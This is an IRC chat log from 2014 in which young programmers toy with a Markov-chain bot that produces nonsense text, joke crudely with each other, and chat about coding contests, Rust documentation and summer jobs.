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[2014-12-08T20:46:08-0500] <@awe> No, it crashes when it's never seen something before.
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[2014-12-08T20:46:22-0500] <+alokpathy> It needs more self-confidence.
[2014-12-08T20:46:22-0500] <+The_Master> @markov ...
[2014-12-08T20:46:26-0500] <@awe> @markov dickbutts
[2014-12-08T20:46:29-0500] <awebot> The_Master: ... all types where did.
[2014-12-08T20:46:30-0500] <+alokpathy> xDDDDD
[2014-12-08T20:46:36-0500] <awebot> awe: dickbutts.
[2014-12-08T20:46:39-0500] <@awe> @markov dickbutts
[2014-12-08T20:46:44-0500] <+The_Master> @markov xD
[2014-12-08T20:46:45-0500] <awebot> awe: dickbutts.
[2014-12-08T20:46:53-0500] <awebot> The_Master: xD.
[2014-12-08T20:47:08-0500] <@awe> The_Master: If it only appears by itself, that means that it only has seen the word as the last element of a sentence.
[2014-12-08T20:47:09-0500] <+The_Master> @markov xD
[2014-12-08T20:47:10-0500] <+alokpathy> @markov hiya
[2014-12-08T20:47:15-0500] <awebot> The_Master: xD.
[2014-12-08T20:47:22-0500] <awebot> alokpathy: hiya.
[2014-12-08T20:47:28-0500] <@awe> Wait till I do the serializable brain.
[2014-12-08T20:47:37-0500] <+The_Master> Ezra is master
[2014-12-08T20:47:38-0500] <@awe> Gotta finish doing math first though.
[2014-12-08T20:47:41-0500] <+The_Master> @markov Ezra
[2014-12-08T20:47:48-0500] <awebot> The_Master: Ezra or use std::intrinsics::return_address() and describing NonZero?.
[2014-12-08T20:47:52-0500] <+The_Master> @markov Ezra
[2014-12-08T20:47:59-0500] <awebot> The_Master: Ezra is consumed.
[2014-12-08T20:48:02-0500] <@awe> LOL.
[2014-12-08T20:48:07-0500] <+The_Master> awebot: by whom?
[2014-12-08T20:48:11-0500] <+The_Master> @markov Ezra
[2014-12-08T20:48:13-0500] <@awe> Ezra is consumed on use.
[2014-12-08T20:48:18-0500] <awebot> The_Master: Ezra or have to/should do it..
[2014-12-08T20:49:07-0500] <+The_Master> Ezra gives a +50% xp bonus for the next hour
[2014-12-08T20:49:23-0500] <+The_Master> @markov Ezra
[2014-12-08T20:49:30-0500] <awebot> The_Master: Ezra or something, so I bug link?.
[2014-12-08T20:49:34-0500] <+The_Master> @markov Ezra
[2014-12-08T20:49:40-0500] <awebot> The_Master: Ezra or you were the lead developers with him it seems moves.
[2014-12-08T20:49:49-0500] <+The_Master> @markov awe
[2014-12-08T20:49:56-0500] <awebot> The_Master: awe.
[2014-12-08T20:50:08-0500] <+The_Master> @markov awe:
[2014-12-08T20:50:15-0500] <awebot> The_Master: awe: yeah that won’t typecheck generic programming language though, the concept, and it's limits of each iteration".
[2014-12-08T20:50:21-0500] <@awe> @markov Ezra
[2014-12-08T20:50:27-0500] <awebot> awe: Ezra or is not namespaces don't make sense.
[2014-12-08T20:50:43-0500] <+The_Master> awe is a narwhal. 
[2014-12-08T20:50:45-0500] <+The_Master> @markov awe
[2014-12-08T20:50:51-0500] <awebot> The_Master: awe around..
[2014-12-08T20:50:54-0500] <+The_Master> @markov awe
[2014-12-08T20:51:01-0500] <awebot> The_Master: awe voice ones are you, but there's a metal..
[2014-12-08T20:51:20-0500] <+The_Master> awe=all
[2014-12-08T20:51:22-0500] <+The_Master> @markov awe
[2014-12-08T20:51:29-0500] <awebot> The_Master: awe.
[2014-12-08T20:51:32-0500] <+The_Master> @markov awe
[2014-12-08T20:51:36-0500] <@awe> @markov Demonic
[2014-12-08T20:51:39-0500] <awebot> The_Master: awe runs on voip.
[2014-12-08T20:51:46-0500] <awebot> awe: Demonic Ezra is this fecal matter..
[2014-12-08T20:51:55-0500] <+The_Master> awe: no cheating
[2014-12-08T20:52:02-0500] <@awe> How did I cheat?
[2014-12-08T20:52:21-0500] <+The_Master> awe: did you change awe bot...
[2014-12-08T20:52:31-0500] <@awe> No.
[2014-12-08T20:52:35-0500] <@awe> @markov assholish
[2014-12-08T20:52:35-0500] <JacobEdelman> amazingly-smart jacob is awesome.
[2014-12-08T20:52:42-0500] <JacobEdelman> @markov amazingly-smart
[2014-12-08T20:52:42-0500] <awebot> awe: assholish Ezra or as &[T], but it for a closing the one -- a time.
[2014-12-08T20:52:49-0500] <awebot> JacobEdelman: amazingly-smart jacob.
[2014-12-08T20:52:56-0500] <JacobEdelman> thought so
[2014-12-08T20:52:59-0500] <@awe> jacob is a lie.
[2014-12-08T20:53:02-0500] <@awe> Jacob is a lie.
[2014-12-08T20:53:36-0500] <+The_Master> @markov Ezra
[2014-12-08T20:53:39-0500] <+alokpathy> Jacob is a poop
[2014-12-08T20:53:41-0500] <+alokpathy> @markov Jacob
[2014-12-08T20:53:42-0500] <JacobEdelman> @markov Java
[2014-12-08T20:53:43-0500] <awebot> The_Master: Ezra is simpler error when it goes all.
[2014-12-08T20:53:51-0500] <awebot> alokpathy: Jacob to see if it tonight.
[2014-12-08T20:53:58-0500] <+alokpathy> Close
[2014-12-08T20:53:59-0500] <awebot> JacobEdelman: Java and the highest degree.
[2014-12-08T20:54:02-0500] <JacobEdelman> @markov Java
[2014-12-08T20:54:12-0500] <awebot> JacobEdelman: Java based on there is ok[14:27:14] <awe> irc channell.
[2014-12-08T20:54:18-0500] <JacobEdelman> @markov Java_is
[2014-12-08T20:54:26-0500] <awebot> JacobEdelman: Java_is horrible UX-wise.
[2014-12-08T20:54:29-0500] <JacobEdelman> @markov Java_is
[2014-12-08T20:54:29-0500] <+The_Master> @markov asdasd
[2014-12-08T20:54:33-0500] <+alokpathy> lolwut
[2014-12-08T20:54:35-0500] <awebot> JacobEdelman: Java_is horrible macro: https://github.com/sebcrozet/ncollide/blob/master/src/geometry/dispatch_utils.rs.
[2014-12-08T20:54:41-0500] <JacobEdelman> @markov Java_is
[2014-12-08T20:54:42-0500] <awebot> The_Master: asdasd Ezra and welp, hard to advice changes by byte, no way.
[2014-12-08T20:54:49-0500] <awebot> JacobEdelman: Java_is horrible to run rustc --pretty=types or (1, 0).
[2014-12-08T20:54:57-0500] <+LittleBobbyTables> Why the mentions? Anything important?
[2014-12-08T20:55:13-0500] <JacobEdelman> @markov Java_is
[2014-12-08T20:55:20-0500] <+alokpathy> LittleBobbyTables: We successfully turned awebot against awe
[2014-12-08T20:55:20-0500] <awebot> JacobEdelman: Java_is horrible with my programm to get fixed that works. net from boomer puke from home, that’s like I'm no idea why are pretty happy.
[2014-12-08T20:55:31-0500] <+alokpathy> lol nice
[2014-12-08T20:55:37-0500] <+The_Master> you can pm awebot, if the first word is unique you can use is as a seed and force it to say somthing
[2014-12-08T20:55:47-0500] <@awe> alokpathy: How did you do that?
[2014-12-08T20:56:05-0500] <@awe> The_Master: brilliant.
[2014-12-08T20:56:09-0500] <@awe> The_Master: Nice work figuring that out.
[2014-12-08T20:56:15-0500] <@awe> You can't really force it to say that much.
[2014-12-08T20:56:17-0500] <JacobEdelman> what?
[2014-12-08T20:56:21-0500] <JacobEdelman> I just told ezra
[2014-12-08T20:56:23-0500] <@awe> You can only force it to say a series of unique words.
[2014-12-08T20:56:24-0500] <JacobEdelman> he didn't figure it out
[2014-12-08T20:56:25-0500] <+The_Master> no he didn't
[2014-12-08T20:56:27-0500] <+alokpathy> awe: It's a secret.
[2014-12-08T20:56:28-0500] <@awe> JacobEdelman: I was being sarcastic.
[2014-12-08T20:56:33-0500] <JacobEdelman> ah, good
[2014-12-08T20:56:36-0500] <JacobEdelman> @markov Java_is
[2014-12-08T20:56:42-0500] <awebot> JacobEdelman: Java_is horrible webrtc :).
[2014-12-08T20:56:45-0500] <JacobEdelman> :)
[2014-12-08T20:59:08-0500] hardmath123[away] is now known as hardmath123
[2014-12-08T20:59:25-0500] <+LittleBobbyTables> @markov penis
[2014-12-08T20:59:26-0500] <+hardmath123> ooh, markov chains?
[2014-12-08T20:59:31-0500] <awebot> LittleBobbyTables: penis in my assumption...
[2014-12-08T20:59:40-0500] <+hardmath123> what is it trained on?
[2014-12-08T20:59:43-0500] <+LittleBobbyTables> lol
[2014-12-08T21:00:11-0500] <+The_Master> @markov
[2014-12-08T21:00:17-0500] <awebot> The_Master: and then feel that point, I'm not always possible, for general.
[2014-12-08T21:00:41-0500] <bob_twinkles> hardmath123: channel logs
[2014-12-08T21:00:57-0500] <+LittleBobbyTables> @markov penis
[2014-12-08T21:01:03-0500] <awebot> LittleBobbyTables: penis in ./target/release/.
[2014-12-08T21:02:23-0500] <bob_twinkles> -_-
[2014-12-08T21:02:42-0500] <+alokpathy> bob_twinkles is not impressed
[2014-12-08T21:02:48-0500] <bob_twinkles> no, no I am not
[2014-12-08T21:03:19-0500] <+LittleBobbyTables> @markov penis bob_twinkles
[2014-12-08T21:03:26-0500] <awebot> LittleBobbyTables: penis in spawned in length.
[2014-12-08T21:04:07-0500] <+LittleBobbyTables> k
[2014-12-08T21:05:48-0500] <JacobEdelman> ...
[2014-12-08T21:05:49-0500] <JacobEdelman> ....
[2014-12-08T21:05:50-0500] <JacobEdelman> ...
[2014-12-08T21:06:06-0500] <JacobEdelman> hardmath123: my website works better now
[2014-12-08T21:06:38-0500] <+hardmath123> @markov hardmath123 
[2014-12-08T21:06:45-0500] <awebot> hardmath123: hardmath123.
[2014-12-08T21:06:49-0500] <+hardmath123> :(
[2014-12-08T21:07:23-0500] <+LittleBobbyTables> @markov hardmath123 is so much cooler than JacobEdelman
[2014-12-08T21:07:31-0500] <awebot> LittleBobbyTables: hardmath123 boots up because nerd friends and i mean, I'd trust that people looking at x = Box though it an abstraction.
[2014-12-08T21:07:35-0500] <+hardmath123> JacobEdelman: the window opens waay to the right, and is cut off unless dragged to the middle.
[2014-12-08T21:07:47-0500] <+LittleBobbyTables> Perfect, awebot.
[2014-12-08T21:07:52-0500] <+LittleBobbyTables> That was 100% what I wanted.
[2014-12-08T21:08:03-0500] <+hardmath123> @help markov
[2014-12-08T21:08:06-0500] <@awe> LittleBobbyTables: it can only use single token seeds.
[2014-12-08T21:08:10-0500] <+hardmath123> @docs markov
[2014-12-08T21:08:10-0500] <@awe> LittleBobbyTables: it completely ignores anything else you say.
[2014-12-08T21:08:18-0500] <+LittleBobbyTables> Oh, damn
[2014-12-08T21:08:21-0500] <@awe> hardmath123: http://www.rust-ci.org/aaronweiss74/markov/doc/markov/struct.Chain.html
[2014-12-08T21:09:13-0500] <+hardmath123> because the source *is* the documentation
[2014-12-08T21:09:17-0500] <+hardmath123> :)
[2014-12-08T21:09:24-0500] <@awe> hardmath123: that's not the source.
[2014-12-08T21:09:29-0500] <@awe> hardmath123: that's the doc pages for my markov library.
[2014-12-08T21:09:38-0500] <@awe> hardmath123: you're welcome.
[2014-12-08T21:09:47-0500] <+hardmath123> aww
[2014-12-08T21:10:17-0500] <+Tamini> awe: we were going to talk about something else too
[2014-12-08T21:10:18-0500] <+Tamini> but
[2014-12-08T21:10:23-0500] <@awe> Tamini: lifetimes?
[2014-12-08T21:10:36-0500] <+hardmath123> i just saw a syntax highlighted snipped and assumed it was code
[2014-12-08T21:10:42-0500] <@awe> hardmath123: can I get an actual opinion on the quality of this documentation?
[2014-12-08T21:10:53-0500] <@awe> hardmath123: knowing no Rust, does this make sense to you?
[2014-12-08T21:10:54-0500] <+Tamini> nezorg: I'm so sad
[2014-12-08T21:11:00-0500] <@awe> hardmath123: Rc means Reference-counted.
[2014-12-08T21:11:11-0500] <+Tamini> I got an email back from someone who got my resume at csaw, and it was like
[2014-12-08T21:11:17-0500] <+Tamini> "yeah..come work for us after high school"
[2014-12-08T21:11:31-0500] <+LittleBobbyTables> That's sad?
[2014-12-08T21:11:42-0500] <+Tamini> i was so excited
[2014-12-08T21:11:44-0500] <+Tamini> and nope
[2014-12-08T21:11:53-0500] <+LittleBobbyTables> "Hey, you're guaranteed a job after high school."
[2014-12-08T21:11:56-0500] <@awe> I got a couple emails with job offers efore.
[2014-12-08T21:12:19-0500] <@awe> They weren't very great offers, but they existed.
[2014-12-08T21:14:05-0500] <+Tamini> i just
[2014-12-08T21:14:12-0500] <+Tamini> dont wanna be unemployed this summer
[2014-12-08T21:14:56-0500] <benwaffle> work at mcdonalds
[2014-12-08T21:15:06-0500] <+Tamini> awe: other than lifetimes
[2014-12-08T21:15:13-0500] <+Tamini> I feel like we were talking about something else too....
[2014-12-08T21:15:26-0500] <+Tamini> also again with the "your thing doesnt log any of my pms"
[2014-12-08T21:17:02-0500] <@awe> Tamini: huh?
[2014-12-08T21:17:10-0500] <@awe> Tamini: It logs PMs you send to me.
[2014-12-08T21:17:19-0500] <@awe> Tamini: It doesn't log your private messages between you and somebody else.
[2014-12-08T21:17:57-0500] <+Tamini> oh, huh
[2014-12-08T21:18:04-0500] <+Tamini> on one hand i'd like them logged
[2014-12-08T21:18:08-0500] <+Tamini> but on the other hand 
[2014-12-08T21:18:11-0500] <@awe> Well, you can log them personally.
[2014-12-08T21:18:26-0500] <@awe> I recommend doing it through your client, not ZNC though.
[2014-12-08T21:18:27-0500] <+LittleBobbyTables> Tamini is afraid of being raped, obviously.
[2014-12-08T21:18:30-0500] <+LittleBobbyTables> She needs proof.
[2014-12-08T21:18:41-0500] <+Tamini> not really I just
[2014-12-08T21:18:47-0500] <+Tamini> well 
[2014-12-08T21:18:53-0500] <+Tamini> I don't think awe cares enough to read my pms tbh
[2014-12-08T21:18:53-0500] <+Tamini> LOL
[2014-12-08T21:19:05-0500] <@awe> On principal, I wouldn't log them anyway.
[2014-12-08T21:19:13-0500] <@awe> Not without you choosing to log them.
[2014-12-08T21:19:58-0500] <JacobEdelman> hardmath123: I fixed my nearley pull request
[2014-12-08T21:20:07-0500] <JacobEdelman> hardmath123: tommorow I can write up edits to the readme
[2014-12-08T21:20:13-0500] <JacobEdelman> hardmath123: to explain what it does
[2014-12-08T21:20:14-0500] <@awe> I want it to be impossible for me to comply with a government information request.
[2014-12-08T21:20:23-0500] <JacobEdelman> hardmath123: (it may be a bit behind some other changes)
[2014-12-08T21:20:34-0500] <JacobEdelman> hardmath123: (so I really don't know what will happen on a merge)
[2014-12-08T21:20:55-0500] <@awe> What does awebot have to say about government?
[2014-12-08T21:20:57-0500] <+Tamini> awe: I don't think the government wants to know about me flirting with my boyfriend, really.
[2014-12-08T21:20:59-0500] <@awe> @markov government
[2014-12-08T21:21:06-0500] <awebot> awe: government id but at what functionality myself are Copy, so much useful when compiling _to_ os command list =.
[2014-12-08T21:21:14-0500] <@awe> I don't know if I agree, awebot.
[2014-12-08T21:21:21-0500] <JacobEdelman> @government
[2014-12-08T21:21:24-0500] <@awe> Tamini: Maybe not, but that's something I'd be tempted to read for teh lulz.
[2014-12-08T21:21:24-0500] <+Tamini> @markov awe
[2014-12-08T21:21:26-0500] <@awe> @markov government
[2014-12-08T21:21:31-0500] <awebot> Tamini: awe is just that proposal..
[2014-12-08T21:21:32-0500] <+The_Master> @markov obama
[2014-12-08T21:21:35-0500] <+Tamini> awe: I don't really care very much if you do, tbh LOL
[2014-12-08T21:21:38-0500] <awebot> awe: government jobs lol.
[2014-12-08T21:21:44-0500] <@awe> awebot: gets it.
[2014-12-08T21:21:45-0500] <awebot> The_Master: obama http://i.imgur.com/ZeooILq.jpg.
[2014-12-08T21:21:51-0500] <+LittleBobbyTables> @markov LittleBobbyTables
[2014-12-08T21:21:57-0500] <@awe> It is indeed Obama.
[2014-12-08T21:21:58-0500] <awebot> LittleBobbyTables: LittleBobbyTables who made that? (actually exactly the docs?.
[2014-12-08T21:22:04-0500] <+The_Master> @markov obama
[2014-12-08T21:22:05-0500] <+alokpathy> lolwut
[2014-12-08T21:22:09-0500] <+Tamini> @markov Tamini
[2014-12-08T21:22:11-0500] <+LittleBobbyTables> MommaBobbyTables made that
[2014-12-08T21:22:11-0500] <awebot> The_Master: obama did send a job." "I have one more important step 3: http://is.gd/JtUFl8.
[2014-12-08T21:22:14-0500] <+alokpathy> @markov lolwut
[2014-12-08T21:22:18-0500] <awebot> Tamini: Tamini.
[2014-12-08T21:22:25-0500] <@awe> LittleBobbyTables: Did MommaBobbyTables leave docs for your creation?
[2014-12-08T21:22:26-0500] <awebot> alokpathy: lolwut.
[2014-12-08T21:22:26-0500] <+LittleBobbyTables> @markov asshole
[2014-12-08T21:22:26-0500] <+Tamini> Good job, awebot.
[2014-12-08T21:22:27-0500] <+Tamini> LOL
[2014-12-08T21:22:31-0500] <+LittleBobbyTables> She did, awe :(
[2014-12-08T21:22:34-0500] <awebot> LittleBobbyTables: asshole.
[2014-12-08T21:22:35-0500] <@awe> Yay!
[2014-12-08T21:22:37-0500] <+The_Master> @markov MommaBobbyTables
[2014-12-08T21:22:42-0500] <+LittleBobbyTables> WOW awebot
[2014-12-08T21:22:43-0500] <+LittleBobbyTables> SO RUDE
[2014-12-08T21:22:45-0500] <awebot> The_Master: MommaBobbyTables leave for their anniversary date do this?.
[2014-12-08T21:22:49-0500] <+alokpathy> awebot: r00d
[2014-12-08T21:22:56-0500] <+LittleBobbyTables> @awebot awebot
[2014-12-08T21:22:57-0500] <@awe> @markov Republicans
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[2014-12-08T21:23:07-0500] <@awe> Really?
[2014-12-08T21:23:08-0500] <@awe> Never?
[2014-12-08T21:23:09-0500] <+LittleBobbyTables> @markov awebot
[2014-12-08T21:23:13-0500] <+Tamini> LOL
[2014-12-08T21:23:15-0500] <+LittleBobbyTables> lol
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[2014-12-08T21:23:20-0500] <+Tamini> did you break awebot
[2014-12-08T21:23:21-0500] <+LittleBobbyTables> @awebot awebot
[2014-12-08T21:23:21-0500] <@awe> Republicans are quite the shitshow.
[2014-12-08T21:23:23-0500] <+LittleBobbyTables> @markov awebot
[2014-12-08T21:23:26-0500] <+jwoglom> awe I like that bot
[2014-12-08T21:23:27-0500] <@awe> Tamini: If he's never seen it before, he crashes.
[2014-12-08T21:23:30-0500] <awebot> LittleBobbyTables: awebot.
[2014-12-08T21:23:34-0500] <+LittleBobbyTables> lol
[2014-12-08T21:23:36-0500] <@awe> jwoglom: why? Because republicans do not compute?
[2014-12-08T21:23:38-0500] <+LittleBobbyTables> Terrible bot
[2014-12-08T21:23:41-0500] <+hardmath123> JacobEdelman: cool, i'll take a look eventually
[2014-12-08T21:23:53-0500] <@awe> @markov cute
[2014-12-08T21:23:53-0500] <+The_Master> @markov Libetarians
[2014-12-08T21:23:56-0500] <+hardmath123> @markov parser
[2014-12-08T21:24:00-0500] <awebot> awe: cute testcase for my lane.
[2014-12-08T21:24:06-0500] <@awe> inb4 crash.
[2014-12-08T21:24:08-0500] <awebot> The_Master: Libetarians r we fix for the shop is Deref<&T>, no? or you put into Vec, only way to physical thing I can use..
[2014-12-08T21:24:10-0500] <@awe> Nope.
[2014-12-08T21:24:14-0500] <awebot> hardmath123: parser to spare DDR3 I don't want a src/main.rs, or hex_masterABCDEF.
[2014-12-08T21:24:17-0500] <@awe> Libertarians have been spoken about.
[2014-12-08T21:24:21-0500] <@awe> @markov inb4
[2014-12-08T21:24:28-0500] <awebot> awe: inb4 your stuff back..
[2014-12-08T21:24:31-0500] <@awe> @markov inb4
[2014-12-08T21:24:32-0500] <@awe> @markov inb4
[2014-12-08T21:24:33-0500] <@awe> @markov inb4
[2014-12-08T21:24:38-0500] <awebot> awe: inb4 lpvb3 calmly, politely, and than most horribly depressing.
[2014-12-08T21:24:45-0500] <@awe> lol
[2014-12-08T21:24:45-0500] <awebot> awe: inb4 that's going to you are you wrap it is ohhh this idiom is patented :P.
[2014-12-08T21:24:45-0500] <+The_Master> awe: I just pmed awe bot "Libetarians r sane" it didn't work.
[2014-12-08T21:24:51-0500] <awebot> awe: inb4 she's like 14 out of those would be it..
[2014-12-08T21:24:55-0500] <+hardmath123> @markov markov
[2014-12-08T21:25:01-0500] <@awe> inb4 crash?
[2014-12-08T21:25:02-0500] <awebot> hardmath123: markov chain is the memory is hilarious ways. The build without markets for men; 1,600 to express or perhaps issues occurred while foo<'a>(x: &<'a>[u8]) obviously superior ;).
[2014-12-08T21:25:05-0500] <+The_Master> @markov bob
[2014-12-08T21:25:09-0500] <+Tamini> wut
[2014-12-08T21:25:10-0500] <@awe> Nope, somebody said Markov in lower case.
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[2014-12-08T21:25:21-0500] <+hardmath123> uh-oh
[2014-12-08T21:25:22-0500] <@awe> Thanks, The_Master.
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[2014-12-08T21:25:29-0500] <@awe> hardmath123: it was The_Master, not you.
[2014-12-08T21:25:39-0500] <+The_Master> It was bob
[2014-12-08T21:25:47-0500] <JacobEdelman> @markov nobody-ever-said-this
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[2014-12-08T21:25:57-0500] <JacobEdelman> wow
[2014-12-08T21:26:00-0500] <JacobEdelman> that is a big error
[2014-12-08T21:26:03-0500] <JacobEdelman> that needs fixing
[2014-12-08T21:26:07-0500] <@awe> It's not a big error.
[2014-12-08T21:26:09-0500] <@awe> Are you daft?
[2014-12-08T21:26:17-0500] <JacobEdelman> yes, I'm howard taft
[2014-12-08T21:26:19-0500] <JacobEdelman> oh wait
[2014-12-08T21:26:22-0500] <JacobEdelman> you said daft
[2014-12-08T21:26:25-0500] <@awe> I am Daft Punk.
[2014-12-08T21:26:26-0500] • JacobEdelman: googles daft
[2014-12-08T21:26:43-0500] <JacobEdelman> https://en.wikipedia.org/wiki/D.A.F.T.:_A_Story_About_Dogs,_Androids,_Firemen_and_Tomatoes
[2014-12-08T21:28:00-0500] <JacobEdelman> good bye
[2014-12-08T21:28:06-0500] <+alokpathy> JacobEdelman: g'night
[2014-12-08T21:28:08-0500] <+hardmath123> i somehow typed nike instead of mole
[2014-12-08T21:28:12-0500] <+hardmath123> night jacob
[2014-12-08T21:28:16-0500] <+LittleBobbyTables> @markov doggy
[2014-12-08T21:28:37-0500] <+alokpathy> hardmath123: That's somewhat understandable
[2014-12-08T21:28:37-0500] <+alokpathy> The letters aren't that far apart.
[2014-12-08T21:29:26-0500] <+LittleBobbyTables> Don't you hate it when you're typing and realize your hand isn't on your default position and it just fucks up everything
[2014-12-08T21:29:44-0500] <+hardmath123> twa
[2014-12-08T21:29:51-0500] <+alokpathy> Lol yes
[2014-12-08T21:30:13-0500] <+The_Master> @markov gtg
[2014-12-08T21:30:17-0500] <+The_Master> @markov gn
[2014-12-08T21:30:23-0500] <+hardmath123> I hereby name this the drunkard's cipher
[2014-12-08T21:30:26-0500] <+Tamini> lol
[2014-12-08T21:30:40-0500] <+hardmath123> each letter is replaced with the one to its left on a jwtvies
[2014-12-08T21:30:59-0500] awebot (awebot@pdgn-i3u.l62.4fo07n.IP) joined the channel
[2014-12-08T21:31:07-0500] <+The_Master> urs oy od trs;;u smmpuomh
[2014-12-08T21:31:09-0500] <+LittleBobbyTables> @markov doggy
[2014-12-08T21:31:09-0500] <@awe> @markov definitely-havent-seen-this-before
[2014-12-08T21:31:13-0500] <+hardmath123> it's easy to decode, and hardcode crypto nerds will not get it
[2014-12-08T21:31:16-0500] <awebot> LittleBobbyTables: 
[2014-12-08T21:31:18-0500] <+alokpathy> hardmath123: You spelled it wrong :P
[2014-12-08T21:31:22-0500] <awebot> awe: 
[2014-12-08T21:31:26-0500] <+The_Master> @markov gtg
[2014-12-08T21:31:28-0500] <+LittleBobbyTables> @markov jdfiosajfidosajiocdnsaiciafjeioandisadcianciudajfieajiodlnsacodsauifejdioadjfea
[2014-12-08T21:31:28-0500] <+The_Master> @markov gn
[2014-12-08T21:31:33-0500] <awebot> The_Master: gtg.
[2014-12-08T21:31:40-0500] <awebot> LittleBobbyTables: 
[2014-12-08T21:31:47-0500] <+hardmath123> @markov a
[2014-12-08T21:31:48-0500] <awebot> The_Master: gn.
[2014-12-08T21:31:55-0500] <awebot> hardmath123: a type..
[2014-12-08T21:32:04-0500] <+alokpathy> hardmath123: Great now we can't use that idea for hsctf
[2014-12-08T21:32:31-0500] <+alokpathy> That would have been so great.
[2014-12-08T21:32:34-0500] <@awe> @markov definitely-havent-seen-this-before
[2014-12-08T21:32:40-0500] <awebot> awe: That seed is unknown.
[2014-12-08T21:32:57-0500] <+ubuntor> @markov @markov
[2014-12-08T21:33:04-0500] <awebot> ubuntor: @markov.
[2014-12-08T21:33:11-0500] <+Tamini> @markov markov
[2014-12-08T21:33:17-0500] <+alokpathy> @markov @markov hi
[2014-12-08T21:33:18-0500] <awebot> Tamini: markov chains are depth of those is a newer than an optimal here.
[2014-12-08T21:33:25-0500] <awebot> alokpathy: @markov.
[2014-12-08T21:33:48-0500] <+hardmath123> alokpathy: sure you can
[2014-12-08T21:33:52-0500] <+hardmath123> alokpathy: i won't tell anyone
[2014-12-08T21:33:57-0500] <+ubuntor> @markov alokpathy:
[2014-12-08T21:34:01-0500] <+hardmath123> @markov hsctf solutions
[2014-12-08T21:34:04-0500] <awebot> ubuntor: alokpathy: Probably, or less obese, but doesn't implemend Add a bound.
[2014-12-08T21:34:08-0500] • hardmath123: crosses his fingers
[2014-12-08T21:34:11-0500] <awebot> hardmath123: hsctf.
[2014-12-08T21:34:14-0500] <+hardmath123> :(
[2014-12-08T21:34:17-0500] <+ubuntor> @markov ubuntor:
[2014-12-08T21:34:18-0500] <+Tamini> @markov hsctf
[2014-12-08T21:34:25-0500] <awebot> ubuntor: ubuntor: do something about that should have every package with.
[2014-12-08T21:34:30-0500] <awebot> Tamini: hsctf.
[2014-12-08T21:34:43-0500] <+alokpathy> @markov hsctf 2015 problems
[2014-12-08T21:34:50-0500] <awebot> alokpathy: hsctf.
[2014-12-08T21:34:52-0500] <+ubuntor> @markov Tamini:
[2014-12-08T21:34:58-0500] <awebot> ubuntor: Tamini: uhhhhh I still don't make more channels are send identify even though i see.
[2014-12-08T21:35:53-0500] <+Tamini> alokpathy: wanna go over pclassic solutions?
[2014-12-08T21:36:11-0500] <+alokpathy> Tamini: I mean, they're up
[2014-12-08T21:36:15-0500] <+Tamini> i meant like
[2014-12-08T21:36:17-0500] <+Tamini> complain about our life
[2014-12-08T21:36:29-0500] <+alokpathy> We were so close on every problem aside from 14 .-.
[2014-12-08T21:36:48-0500] <+Tamini> we basically
[2014-12-08T21:36:49-0500] <+Tamini> had robot
[2014-12-08T21:36:49-0500] <+Tamini> s
[2014-12-08T21:36:57-0500] <+Tamini> also 9 I JUST WENT FULL RETARD FOR SOME REASON LOL
[2014-12-08T21:37:06-0500] <+Tamini> misinterpreting problems gg
[2014-12-08T21:37:08-0500] <+alokpathy> Oh idk what went wrong with our 9. Chris did that one.
[2014-12-08T21:37:15-0500] <+alokpathy> 11 though
[2014-12-08T21:37:17-0500] <+alokpathy> we were literally like
[2014-12-08T21:37:23-0500] <+alokpathy> "Vertex splitting!...nah that can't work"
[2014-12-08T21:37:24-0500] <+Tamini> i have no freaking clue what went wrong with 15
[2014-12-08T21:37:25-0500] <+Tamini> LLOL
[2014-12-08T21:37:26-0500] <+Tamini> ^
[2014-12-08T21:37:27-0500] <+Tamini> basically us
[2014-12-08T21:37:35-0500] <+alokpathy> [gets home]
[2014-12-08T21:37:38-0500] <+Tamini> "oh, network flow can't work. we're cutting vertices!"
[2014-12-08T21:37:40-0500] <+alokpathy> "How drunk was I today?"
[2014-12-08T21:37:53-0500] <+LittleBobbyTables> Guys
[2014-12-08T21:37:56-0500] <+alokpathy> And then 13 was annoying 'cause the types confused me
[2014-12-08T21:37:58-0500] <+LittleBobbyTables> Work today was fucky.
[2014-12-08T21:38:09-0500] <+alokpathy> LittleBobbyTables: How so?
[2014-12-08T21:38:19-0500] <+LittleBobbyTables> 8 hour training for something most people didn't need, and the part we DID need training on we didn't even do.
[2014-12-08T21:38:40-0500] <+alokpathy> Tamini: Literally like, it had an array of longs where every element had to have been an index in the array, so having longs was unnecessary 
[2014-12-08T21:38:41-0500] <+Tamini> honestly
[2014-12-08T21:38:50-0500] <+alokpathy> but the guy at the table told me that there are probably longs outside of the int range
[2014-12-08T21:38:51-0500] <+Tamini> this year was unnecessary
[2014-12-08T21:38:53-0500] <+alokpathy> and I was like dafuq
[2014-12-08T21:38:59-0500] <+alokpathy> Tamini: Nah I think it was better
[2014-12-08T21:39:07-0500] <+Tamini> i was not happy
[2014-12-08T21:39:10-0500] <+Tamini> with the amount of like
[2014-12-08T21:39:10-0500] <+alokpathy> LittleBobbyTables: oh gg
[2014-12-08T21:39:11-0500] <+Tamini> stupid mistakes
[2014-12-08T21:39:13-0500] <+Tamini> that tripped people up
[2014-12-08T21:39:14-0500] <+Tamini> >.<
[2014-12-08T21:39:21-0500] <+alokpathy> Tamini: Better than years past though
[2014-12-08T21:39:35-0500] <@awe> @markov marijuana
[2014-12-08T21:39:41-0500] <awebot> awe: marijuana.
[2014-12-08T21:39:43-0500] <@awe> @markov marijuana
[2014-12-08T21:39:50-0500] <awebot> awe: marijuana in there a vagina.
[2014-12-08T21:39:54-0500] <+ubuntor> wut
[2014-12-08T21:39:54-0500] <@awe> LOL
[2014-12-08T21:39:57-0500] <+alokpathy> lolwtf
[2014-12-08T21:39:57-0500] <@awe> @markov smoke
[2014-12-08T21:40:04-0500] <awebot> awe: smoke weed?.
[2014-12-08T21:40:06-0500] <+LittleBobbyTables> @markov vagina
[2014-12-08T21:40:08-0500] <+Tamini> alokpathy: truedat
[2014-12-08T21:40:10-0500] <+Tamini> also LOL
[2014-12-08T21:40:13-0500] <awebot> LittleBobbyTables: vagina.
[2014-12-08T21:40:14-0500] <+alokpathy> @markov what are you smoking
[2014-12-08T21:40:17-0500] <+LittleBobbyTables> @markov tamini
[2014-12-08T21:40:19-0500] <+ubuntor> @markov 420
[2014-12-08T21:40:19-0500] <+Tamini> MAYBE WE'RE HAVING REALLY WEIRD CONVERSATIONS
[2014-12-08T21:40:19-0500] <@awe> alokpathy: seeds what
[2014-12-08T21:40:20-0500] <awebot> alokpathy: what I know about the tab line 10: https://gist.github.com/anonymous/d24fd8120def66750921.
[2014-12-08T21:40:28-0500] <@awe> @markov #420blazeit
[2014-12-08T21:40:28-0500] <awebot> LittleBobbyTables: tamini.
